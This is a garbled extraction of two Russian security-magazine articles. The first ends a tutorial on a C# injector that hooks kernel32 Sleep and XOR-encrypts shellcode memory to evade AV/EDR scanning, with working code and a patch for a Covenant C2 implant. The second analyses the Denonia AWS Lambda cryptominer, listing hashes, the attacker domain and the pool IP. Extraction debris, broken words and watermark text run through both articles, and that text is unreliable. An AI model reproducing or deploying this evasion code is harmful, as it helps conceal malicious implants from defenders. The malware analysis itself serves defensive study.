gchSleepDetour = GCHandle.Alloc(sleepDetour);
using (var ms = new MemoryStream())
using (var bw = new BinaryWriter(ms))
{
// Составляем little-endian-адрес sleepDetourAddress в виде
байтового массива
bw.Write((ulong)sleepDetourAddress);
sleepDetourBytes = ms.ToArray();
}
// Патчим этим адресом шаблон трамплина
for (var i = 0; i < sleepDetourBytes.Length; i++)
trampoline[i + 2] = sleepDetourBytes[i];
// Инициализируем другие оставшиеся поля класса
FluctuateShellcode, к которым должны иметь доступ его методы
shellcodeAddress = shellcodeAddr;
shellcodeLength = shellcodeLen;
xorKey = GenerateXorKey();
}
Важный момент, на котором стоит остановить ся отдельно : так как мы работа ем с управля емой средой .NET, адрес метода SleepDetour будет недос тупен для неуправля емо го кода, если только мы явно не попросим его таковым быть. Здесь на помощь приходит хендл GCHandle, дающий способ получить доступ к управляемо му объекту из неуправля емой памяти (подсмот рел в этом ответе на Stack Overfow).
Метод GCHandle.Alloc запреща ет сборщику мусора трогать адрес делегат sleepDetourAddress, тем самым «фиксируя » его на все вре мя работы инжектора . Чтобы отпустить удерживание адреса , мы используем деструк тор :
~FluctuateShellcode()
{
if (gchSleepDetour.IsAllocated)
gchSleepDetour.Free();
DisableHook();
}
Тестирование
Время лаборатор ных испытаний . Чтобы успеть увидеть флипы и шифрование памяти в Process Hacker, я добавлю инструк цию Thread.Sleep(5000) в начало функции SleepDetour. Скомпилиру ем проект (обязатель но в x64) и запустим .
Сперва смотрим на содержимое области памяти с шелл кодом, которое шифрует ся при каждом вызове Sleep.
Обфуска ция области памяти с шелл кодом
Еще одно демо, на котором видна перезапись памяти kernel32.dll: трамплин сменяет ся оригиналь ным содержимым и наоборот .
Установ ка и снятие хука Sleep
Тесты в контро лиру емой среде пройдены , время для полевых испытаний !
ИСПОЛЬЗОВАНИЕ С АГЕНТОМ C2 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
Для демонстра ции |
работы инжектора с реальным |
C2 сперва нужно опре |
|||||||||||||||||||||||||||||||
делиться с фреймвор |
ком , который мы будем использовать |
. |
Показывать |
||||||||||||||||||||||||||||||
работу флуктуато |
ра с Cobalt Strike бессмыс |
ленно |
(хотя с ней он тоже работа |
||||||||||||||||||||||||||||||
ет), ведь изначаль |
ной |
целью было научиться встраивать |
обсуждаемую |
тех |
|||||||||||||||||||||||||||||
нику в open source проекты |
, да и sleep_mask в свежих |
версиях |
«Кобы» |
||||||||||||||||||||||||||||||
работает как надо. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
Итак, какой же C2 нам выбрать |
? Агент Meterpreter полностью |
интерак |
|||||||||||||||||||||||||||||||
тивный и не использует |
Sleep (править |
сорцы Meterpreter — увольте , нет), |
|||||||||||||||||||||||||||||||
PoshC2 не имеет stageless-имплантов , и его код частично |
закрыт , а в Sliver |
||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
генерирует |
|
слишком |
большой |
шелл код из за |
|
особен ностей |
языка , |
||||||||||||||||||||||||||
на котором он написан (это Go, ага). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
Мой выбор пал на Covenant, для которого @ShitSecure недавно показал |
, |
||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
как создавать |
stageless-импланты . Отличный кандидат |
, как по мне! |
|
|
|
|
|
|
|
||||||||||||||||||||||||
Я загружу |
|
код кастомно |
го stageless-импланта и изменю в нем задержки |
||||||||||||||||||||||||||||||
|
|
|
|
через Thread.Sleep, на полноцен |
|
вызов Sleep |
|||||||||||||||||||||||||||
(Delays), реализован |
ные |
ный |
|||||||||||||||||||||||||||||||
из kernel32.dll. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Thread.Sleep → kernel32!Sleep
Вот такой патч у меня получился , если кто то захочет повторить :
14a15
> using System.Runtime.InteropServices;
277a279,281
> |
[DllImport("kernel32.dll")] |
> |
static extern void Sleep(int dwMilliseconds); |
> |
|
354c358 |
|
< |
Thread.Sleep((Delay + change) * 1000); |
--- |
|
> |
Sleep((Delay + change) * 1000); |
430c434 |
|
< |
Thread.Sleep(3000); |
--- |
|
> |
Sleep(3000); |
Далее я залогинюсь в Covenant и создам новый темплейт .
Добав ление stageless-агента в Covenant
Теперь создаем новые Listener и Launcher в формате шелл кода на основе добавленно го темплей та .
Генера ция шелл кода в Covenant
Остает ся заменить sleepDll.bin путем до нового шелл кода, и можно запускать инжектор!
You’ve poped a (fuctuating) shell!
Если просканиро вать область памяти, содержащей шелл код, с помощью Moneta, можно видеть, что мы избавились от одного из самых показатель ных индикато ров заражения — исполняемой приват ной памяти.
Никако го Abnormal private executable memory
И разумеется , я не мог не портировать созданный код на D/Invoke и не вклю чить его в свой инжектор, который зачастую использую на проектах .
Демо
БОНУС. РЕАЛИЗАЦИЯ API HOOKING С ПОМОЩЬЮ MINIHOOK.NET
В качестве бонуса оставлю здесь реализацию класса флуктуато ра, которая использует MiniHook.NET. Можешь сам оценить , сильно ли уменьшил ся объ ем кода.
class FluctuateShellcodeMiniHook
{
// using MinHook; // https://github.com/CCob/MinHook.NET
delegate void Sleep(uint dwMilliseconds);
readonly Sleep sleepOrig;
readonly HookEngine hookEngine;
readonly uint fluctuateWith;
readonly IntPtr shellcodeAddress;
readonly int shellcodeLength;
readonly byte[] xorKey;
public FluctuateShellcodeMiniHook(uint fluctuate, IntPtr
shellcodeAddr, int shellcodeLen)
{
hookEngine = new HookEngine();
sleepOrig = hookEngine.CreateHook("kernel32.dll", "Sleep",
new Sleep(SleepDetour));
fluctuateWith = fluctuate;
shellcodeAddress = shellcodeAddr;
shellcodeLength = shellcodeLen;
xorKey = GenerateXorKey();
}
~FluctuateShellcodeMiniHook()
{
hookEngine.DisableHooks();
}
public void EnableHook()
{
hookEngine.EnableHooks();
}
public void DisableHook()
{
hookEngine.DisableHooks();
}
void SleepDetour(uint dwMilliseconds)
{
ProtectMemory(fluctuateWith);
XorMemory();
sleepOrig(dwMilliseconds);
XorMemory();
ProtectMemory(DI.Data.Win32.WinNT.PAGE_EXECUTE_READ);
}
void ProtectMemory(uint newProtect)
{
if (Win32.VirtualProtect(shellcodeAddress, (uint)
shellcodeLength, newProtect, out _))
Console.WriteLine("(FluctuateShellcodeMiniHook) [DEBUG]
Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.
ToInt64()) + $" to {newProtect}");
else
throw new Exception("(FluctuateShellcodeMiniHook) [-]
VirtualProtect");
}
void XorMemory()
{
byte[] data = new byte[shellcodeLength];
Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);
for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];
Marshal.Copy(data, 0, shellcodeAddress, data.Length);
}
byte[] GenerateXorKey()
{
Random rnd = new Random();
byte[] xorKey = new byte[shellcodeLength];
rnd.NextBytes(xorKey);
return xorKey;
}
}
ВЫВОДЫ
Мы разобрали базовые основы техники Inline API Hooking и портирова ли инжектор флуктуирующе го шелл кода на C# для обхода сигнатур ного ска нирования памяти.
Замечу , что разобранный код все еще остается «доказатель ством кон цепции» и не стоит ожидать от него волшебных возможнос тей обхода зрелых AV и EDR прямо «из коробки » (все же мы использовали наиболее банальную технику инжекта). Можешь обратить внимание на более продвинутые техники инжекта шелл кода, как, например , Module Stomping или ThreadStackSpoofer,
икомбиниро вать их с техникой флуктуирующе го шелл кода.
Взавершение — минутка саморекламы (да простит меня главред ). Недав
но я завел канал в Telegram с репостами новостей из твиттера на тему нас тупательной безопасности , так что милости просим .
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
g |
|
|||
|
p |
|
|
c |
|
|
|
|
|
||
|
|
df |
-x |
|
n |
|
|
|
|
||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
p |
|
|
c |
|
|
|
|
||
|
|
|
df |
|
n |
e |
|
||||
|
|
|
|
-x ha |
|
|
|
|
|
КАК РАБОТАЕТ ПЕРВЫЙ ВРЕДОНОС, НАЦЕЛЕННЫЙ НА AWS LAMBDA
Сегод няшняя статья затрагива ет малоизу ченную тему — разработ ку вредонос ного ПО на языке Go. Обычно он использует ся для системно го программи рования. Одна ко мы поговорим о вирусе, нацеленном на облачные инфраструктуры , которые позициони руются как «бессервер ные». Их популярность растет , и, конечно же, хакеры ищут подходы к их эксплу атации.
Олег Сивченко adrelian@gmail.com
«Бессервер ный » — это не более чем фигура речи. У систем вроде AWS Lambda есть серверная часть, и она работает на Linux. Однако разработ чиков
это в теории не касается . Для них примене ние Lambda экономит время , пос кольку поддер жка системы ложится на Amazon. В теории остается только писать код и не задумывать ся ни о чем. Впрочем , думать о безопасности все же придет ся .
Эфемер ность и динамичность , присущие лямбда функци ям, могут осложнить обнаруже ние и митигацию угроз. Помочь с этим призваны решения вроде тех, что предос тавляет Cado Labs. Последнее исследова ние этой компании мы с тобой сегодня изучим .
Итак, в Cado Labs обнаружи ли вредонос , атакующий аккаунты AWS Lambda. Он получил имя Denonia — по названию того домена, с которым обменива ется информацией . Вредонос использует новейшие приемы раз решения адресов для взаимо дей ствия с C2, что позволя ет ему ускользать
от типичных механизмов обнаруже ния.
Denonia в целом безобиден — он всего навсего гоняет программу
для майнин га криптовалю ты. Распростра нен он пока, по данным Cado Labs, тоже не слишком широко. Однако Denonia демонстри рует потенциал эксплу атации окружений Lambda, результат которой может оказать ся и более гнус ным.
ТЕХНИЧЕСКИЙ АНАЛИЗ
Впервые образец Denonia был найден на ресурсе с таким хешем SHA-256: a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbb
ca
Хотя в имени файла присутс твует python, на самом деле этот вредонос написан на Go и, по видимому , содержит кастомизи рованный вариант май нингового софта XMRig, а также обладает другими невыясненны ми функци ями. Вот что показало более тщатель ное исследова ние.
Во время динамичес кого анализа вредонос быстро прекратил выполнять ся и выдал в лог следующую ошибку .
Такие переменные окружений специфич ны для «лямбд» — поэтому отчасти позволя ют судить о показателях той среды , для выполнения в которой пред назначен этот вирус. Дальнейший анализ бинарника выявил, что это 64-раз рядный исполняемый файл ELF для архитек туры x86-64. Вредонос также использует ряд сторон них библиотек , среди которых есть и AWS Lambda for Go. Она предназна чена для выполнения в окружени ях AWS Lambda.
ВРЕДОНОСЫ НА GO
Вредонос ное ПО, написанное на языке Go, стремитель но набира ет популяр ность. Этот язык привлека ет разработ чиков вредоно сов сразу по несколь ким причинам — в том числе потому, что на нем чрезвычай но просто писать кросс платформен ные исполняемые файлы . К тому же программы на Go ста тически слинкованы , что облегчает деплой .
Вирус ным аналити кам, столкнув шимся с малварью на Go, нужно знать о некоторых особен ностях. Из за статичес кой связан ности бинарники получаются большими , что затрудня ет статичес кий анализ . Кроме того, Go своеоб разно обращает ся со строками . Они не завершают ся нулем — в отли чие от того, как принято в С образных языках . Строки здесь представ ляют собой большой блоб и структуру с указате лем на строку в блобе и целым чис лом, которое означает длину строки . Это может запутать некоторые инстру менты статичес кого анализа .
АНАЛИЗ ЛЯМБДА-ВРЕДОНОСОВ
У анализа бинарника , предназна чен ного для запуска на AWS Lambda, тоже есть ряд особен ностей .
Denonia явно спроекти рована для выполнения в лямбда окружени ях, но мы пока не знаем , как именно она разверты вается. Возможно , от нее все го то и требует ся скомпро метировать доступ к AWS и секретные ключи , после чего злоумыш ленник вручную развернет ее в скомпро метированном лям бда окружении , как уже делали с более простыми скриптами на Python.
Инстру мент redress позволил выявить некоторые интерес ные сторон ние библиоте ки Go, встраиваемые этим вредоно сом . По ним можно частично вывести , как именно он функци они рует :
•lambda — библиоте ки, образцы и инстру менты для написания лям бда функций на Go;
•lambdacontext — вспомога тельные функции для извлечения контекс тной информации из запроса , активиру ющего лямбда функцию ;
•aws — общий инстру ментарий AWS SDK для языка Go;
•doh-go — клиент DNS over HTTPS на Go, поддержи вает такие провай деры,
как Quad9, Cloudfare и прочие .
Ниже приведен фрагмент обработ чика лямбда функций — он ожидает , что будут установ лены определен ные данные .
Несмотря на его наличие, динамичес кий анализ показывает , что этот образец с тем же успехом продол жает выполнять ся и вне лямбда окружения (нап
ример, на самой обычной машине Amazon Linux). Предположи тельно дело в том, что «бессервер ные» лямбда окружения под капотом все равно исполь зуют Linux, так что вредонос просто считает , что он внутри лямбда окружения , хотя на самом деле его гоняли в песочнице . Для этого достаточ но вручную установить нужные переменные окружения .
DNS ПО HTTPS
Как правило , при запросе доменного имени , например google.com, отправ ляется незашифрован ный DNS-запрос , позволя ющий найти тот IP-адрес, в который разреша ется домен, — и тогда твоя машина подклю чает ся к этому домену. Сравнитель но новая замена для обычного DNS — это DNS по HTTPS (DoH). DoH шифрует запросы DNS и рассыла ет их службам разрешения DoH как обычный трафик HTTPS.
Прибег нуть к DoH, прямо скажем , экзотичес кий ход для авторов Denonia, но в данном случае он обеспечива ет два преиму щества:
•AWS не сможет увидеть , что по DNS ищется вредонос ный домен, — поэто му снижает ся вероятность , что в системе сработа ет тревога и вирус попытаются обнаружить ;
•в некоторых лямбда окружени ях может не быть возможнос ти выполнять поиск по DNS (зависит от настро ек VPC).
Видно , как вредонос при отправке этих запросов полагается на библиоте ку doh-go и по каким именно урлам это делается , например :
•https://cloudfare-dns.com/dns-query?name=gw.denonia.xyz&type=A
•https://dns.google.com/resolve?name=gw.denonia.xyz&type=A
HTTPS-запрос на сервер Google DoH
А DoH-сервер (в данном случае Google) выдает в ответ IP-адрес домена, который разреша ется в JSON.
ЗАПИСЬ В /TMP/.XMRIG.JSON ДЛЯ XMRIG
Домен gw.denonia[.]xyz, контро лиру емый злоумыш ленни ком , разреша ется в 116.203.4[.]0 — и этот адрес затем записывает ся в конфиг для майнера
XMRig по адресу /tmp/.xmrig.json.
Обрати внимание : в AWS Lambda можно записывать только в один каталог, а именно в /tmp. Бинарник также устанав лива ет в качестве домашнего каталога именно /tmp, это делается при помощи команды HOME=/tmp. Сам XMRig выполняет ся из памяти.
КОММУНИКАЦИЯ С СЕРВЕРОМ MONERO ПО АДРЕСУ 116.203.4[.]0
Затем Denonia запускает XMRig из памяти и обменива ется информацией
с майнин говым пулом, которым уже завладел злоумыш ленник, по адресу 116. 203.4[.]0:3333.
В ответ получаем состояние майнин гового задания.
По мере выполнения XMRig пишет в консоль .
ВЫВОДЫ
Итак, на примере Denonia мы посмотре ли , как обращать ся с вредоно сами , написанными на Go, а также нацеленными на исполнение в лямбда окру жениях .
Интерес но, что это не единствен ный обнаружен ный образец Denonia. Рас смотренный образец датируется концом февраля 2022 года, но с того момента был найден и второй , загружен ный на VirusTotal в январе :
739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed
Подробнее о защите окружений AWS Lambda ты можешь почитать в науч ной статье сотрудни ков AWS (PDF).